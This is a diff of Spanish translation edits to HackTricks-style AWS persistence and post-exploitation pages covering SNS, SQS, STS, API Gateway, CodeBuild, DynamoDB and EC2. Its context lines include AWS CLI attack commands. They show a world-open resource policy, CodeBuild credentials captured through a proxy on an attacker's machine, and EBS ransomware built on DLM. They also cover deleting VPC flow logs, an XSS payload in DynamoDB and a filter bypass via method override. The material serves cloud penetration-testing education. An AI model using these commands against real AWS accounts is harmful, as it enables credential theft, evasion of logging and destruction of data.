@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### A través de Políticas de Recursos
|
||||
|
||||
Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que encripta el secreto**.
|
||||
Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**.
|
||||
|
||||
### A través de Lambda de Rotación de Secretos
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### Persistence
|
||||
|
||||
Al crear un **tema SNS**, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
|
||||
Al crear un **tema SNS** necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
|
||||
La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## SQS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando política de recursos
|
||||
### Usando la política de recursos
|
||||
|
||||
En SQS, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
|
||||
En SQS necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
|
||||
La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
@@ -32,6 +32,6 @@ La siguiente política le da a todos en AWS acceso a todo en la cola llamada **M
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se coloca un nuevo mensaje** en la cola (tendrías que volver a colocarlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se ponga un nuevo mensaje** en la cola (tendrías que volver a ponerlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
# AWS - SSM Persistencia
|
||||
|
||||
@@ -10,12 +10,12 @@ Para más información, consulta:
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Puerta trasera en funciones de paso
|
||||
### Inyección de Backdoor en Step Functions
|
||||
|
||||
Poner una puerta trasera en una función de paso para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
|
||||
Inyecta un backdoor en una step function para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
|
||||
|
||||
### Puertas traseras en alias
|
||||
### Inyección de Backdoor en alias
|
||||
|
||||
Si la cuenta de AWS está utilizando alias para llamar a las funciones de paso, sería posible modificar un alias para usar una nueva versión con puerta trasera de la función de paso.
|
||||
Si la cuenta de AWS está utilizando alias para llamar a las step functions, sería posible modificar un alias para usar una nueva versión con backdoor de la step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ Para más información accede a:
|
||||
../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Token de rol asumido
|
||||
### Token de asunción de rol
|
||||
|
||||
Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
|
||||
|
||||
@@ -26,9 +26,9 @@ aws sts get-session-token \
|
||||
</strong># El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Malabarismo de Cadenas de Roles
|
||||
### Malabarismo de Cadenas de Rol
|
||||
|
||||
[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizada para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
|
||||
[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
|
||||
|
||||
Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles:
|
||||
```bash
|
||||
|
||||
+10
-10
@@ -4,18 +4,18 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Acceso a APIs no expuestas
|
||||
### Acceder a APIs no expuestas
|
||||
|
||||
Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\
|
||||
Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
### Eludir el paso del cuerpo de la solicitud
|
||||
|
||||
Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
@@ -28,7 +28,7 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi
|
||||
```
|
||||
Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro.
|
||||
|
||||
Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta de dynamoDB arbitraria sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
|
||||
Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta arbitraria de dynamoDB sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
@@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
|
||||
|
||||
En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**.
|
||||
|
||||
La **API Key** solo necesita ser **incluida** dentro de un **encabezado HTTP** llamado **`x-api-key`**.
|
||||
La **API Key** solo necesita ser **incluida** dentro de un **HTTP header** llamado **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
@@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necesita pruebas
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
@@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necesita pruebas
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
@@ -91,12 +91,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necesita pruebas
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
|
||||
Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Debilitar la seguridad de la API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible.
|
||||
**Impacto Potencial**: Debilitamiento de la seguridad de la API, lo que podría permitir el acceso no autorizado o exponer información sensible.
|
||||
|
||||
> [!NOTE]
|
||||
> Necesita pruebas
|
||||
|
||||
+1
-1
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
|
||||
+1
-1
@@ -56,7 +56,7 @@ aws codebuild delete-project --name <value>
|
||||
```
|
||||
**Impacto Potencial**: Pérdida de la configuración del proyecto y interrupción del servicio para las aplicaciones que utilizan el proyecto eliminado.
|
||||
|
||||
### `codebuild:TagResource`, `codebuild:UntagResource`
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CodeBuild, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
|
||||
```bash
|
||||
|
||||
+10
-10
@@ -8,9 +8,9 @@ Primero, verifica si hay credenciales de origen configuradas que podrías filtra
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### A través de la imagen de Docker
|
||||
|
||||
Si encuentras que la autenticación, por ejemplo, a Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
|
||||
Si encuentras que la autenticación, por ejemplo, en Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
|
||||
|
||||
Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**.
|
||||
|
||||
@@ -38,11 +38,11 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
|
||||
4. **Ejecutar la construcción y capturar las credenciales**
|
||||
|
||||
- Puedes ver el token en el encabezado de **Authorization**:
|
||||
- Puedes ver el token en el encabezado **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esto también se podría hacer desde la aws cli con algo como
|
||||
Esto también se podría hacer desde aws cli con algo como
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
**Codebuild** projects tienen una configuración llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\
|
||||
Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma.
|
||||
|
||||
- First you need to enumerate the current configuration with something like:
|
||||
- Primero necesitas enumerar la configuración actual con algo como:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Finalmente, haz clic en **Construir el proyecto**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
|
||||
- Finalmente, haz clic en **Build the project**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~A través del protocolo HTTP~~
|
||||
|
||||
> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante no puede abusar de ella más :)**
|
||||
> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)**
|
||||
|
||||
Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token OAuth temporal utilizado para acceder al código**.
|
||||
Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token temporal de OAuth utilizado para acceder al código**.
|
||||
|
||||
- Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -162,7 +162,7 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
|
||||
- Finalmente, las **credenciales** se enviarán en **texto claro** (base64) al puerto mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
+3
-3
@@ -8,15 +8,15 @@
|
||||
|
||||
Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.
|
||||
|
||||
Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de encriptación, el estado de adjunto y el tipo de volumen.
|
||||
Primero, se utilizará un comando para recopilar información sobre los volúmenes, como ID de instancia, ID de volumen, estado de encriptación, estado de adjunto y tipo de volumen.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
|
||||
En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un template para el documento de política se puede ver aquí:
|
||||
Se puede ver una plantilla para el documento de política aquí:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
|
||||
+8
-8
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto consultando los metadatos de la tabla (`describe-table`).
|
||||
Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto al obtener los metadatos de la tabla (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -124,7 +124,7 @@ Puedes usar este permiso para **volcar toda la tabla fácilmente**.
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Esta permiso también permite realizar `batch-execute-statement` como:
|
||||
Este permiso también permite realizar `batch-execute-statement` como:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Nota que para que esto funcione, la tabla debe tener la recuperación en el tiempo habilitada, puedes verificar si la tabla la tiene con:
|
||||
Tenga en cuenta que para que esto funcione, la tabla debe tener habilitada la recuperación en el tiempo, puede verificar si la tabla la tiene con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **ya no podría estar en la tabla de producción**.
|
||||
Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **podría no estar más en la tabla de producción**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -209,7 +209,7 @@ aws dynamodb put-item \
|
||||
Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Ejemplo de XSS" }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB
|
||||
**Impacto Potencial:** Explotación de más vulnerabilidades/evitaciones al poder agregar/modificar datos en una tabla de DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -269,7 +269,7 @@ aws dynamodb delete-backup \
|
||||
> [!NOTE]
|
||||
> TODO: Probar si esto realmente funciona
|
||||
|
||||
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente lleva a una fuga de datos.
|
||||
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente puede llevar a una fuga de datos.
|
||||
|
||||
1. Habilitar un stream en una tabla de DynamoDB:
|
||||
```bash
|
||||
@@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla DynamoDB.
|
||||
**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla de DynamoDB.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+21
-21
@@ -1,10 +1,10 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Explotación
|
||||
# AWS - EC2, EBS, SSM y VPC Post Explotación
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
## EC2 y VPC
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -15,7 +15,7 @@ Para más información consulta:
|
||||
El espejeo de tráfico VPC **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusiones en la red (IDS) para análisis y monitoreo.\
|
||||
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:
|
||||
|
||||
Para más información consulta esta página:
|
||||
Para más información, consulta esta página:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copiar Instancia en Ejecución
|
||||
|
||||
Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalación de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
|
||||
Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Exfiltración de Datos
|
||||
|
||||
#### Exfiltración DNS
|
||||
#### Exfiltración por DNS
|
||||
|
||||
Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**.
|
||||
|
||||
@@ -74,18 +74,18 @@ Un atacante podría llamar a los puntos finales de la API de una cuenta controla
|
||||
|
||||
### Grupo de Seguridad Abierto
|
||||
|
||||
Podrías obtener acceso adicional a servicios de red abriendo puertos así:
|
||||
Podrías obtener acceso adicional a los servicios de red abriendo puertos así:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc a ECS
|
||||
|
||||
Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS.
|
||||
|
||||
Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Eliminar registros de flujo de VPC
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -95,7 +95,7 @@ Permisos requeridos:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado.
|
||||
Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias de EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster privado de EKS.
|
||||
|
||||
> Para iniciar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -115,11 +115,11 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el EC2 Bastion y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
|
||||
8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM.
|
||||
Tenga en cuenta que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM.
|
||||
|
||||
Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.
|
||||
|
||||
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Buscar información sensible en AMIs públicas y privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
|
||||
|
||||
### Compartir instantánea de EBS
|
||||
```bash
|
||||
